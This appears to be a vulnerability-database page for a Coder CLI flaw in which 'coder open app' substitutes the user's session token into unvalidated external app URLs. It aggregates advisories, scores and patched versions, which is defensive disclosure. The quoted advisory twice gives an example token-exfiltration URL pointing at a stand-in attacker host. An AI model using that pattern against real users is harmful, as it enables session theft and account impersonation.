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CVE-2026-55431

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

7.7 HighFix available

CVE-2026-55431 is a high vulnerability (CVSS 7.7) in Coder, published July 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.34%, the 27th percentile. Fixed in github.com/coder/coder/v2 2.34.2.

Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend. As a workaround, avoid running coder open app for untrusted workspaces.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.34%Down 0.1 points since Jul 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.7

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend. As a workaround, avoid running coder open app for untrusted workspaces.

Record
CVE-2026-55431
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-522, CWE-601
Updated
2026-11-02
EUVDEUVD-2026-42140 7.7

Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend. As a workaround, avoid running coder open app for untrusted workspaces.

Record
EUVD-2026-42140
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-v54h-cp2w-9x4g 7.7

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

  • Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Record
GHSA-v54h-cp2w-9x4g
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-522, CWE-601
Updated
2026-11-02
NVD 7.7

Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend. As a workaround, avoid running coder open app for untrusted workspaces.

Record
CVE-2026-55431
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-522, CWE-601
Updated
2026-11-02
OSV 7.7

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend. As a workaround, avoid running coder open app for untrusted workspaces.

Record
CVE-2026-55431
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-522, CWE-601
Updated
2026-11-02
OSVGHSA-v54h-cp2w-9x4g 7.7

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Avoid running coder open app for untrusted workspaces.

Resources

  • Fix: #26146

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

Record
GHSA-v54h-cp2w-9x4g
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Weakness
CWE-522, CWE-601
Updated
2026-11-02
OSVGO-2026-5924 No score

Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps in github.com/coder/coder

Coder's session token leaked to arbitrary hosts via coder open app for external workspace apps in github.com/coder/coder

Record
GO-2026-5924
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/coder/coder/v2
Go
 2.34.0 up to 2.34.2
2.34.2
github.com/coder/coder/v2
Go
 2.33.0 up to 2.33.8
2.33.8
github.com/coder/coder/v2
Go
 2.30.0 up to 2.32.7
2.32.7
github.com/coder/coder/v2
Go
 before 2.29.17
2.29.17
github.com/coder/coder
Go
 All versions None known
github.com/coder/coder/v2
Go
 before 2.29.17, 2.30.0 up to 2.32.7, 2.33.0 up to 2.33.8, 2.34.0 up to 2.34.2
2.29.172.32.72.33.82.34.2
govulncheck-vulndb
openSUSE:Leap 16.0
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
WhenChangedSources
2026-11-02createdCVE List, EUVD, GitHub Advisories, NVD, OSV

References

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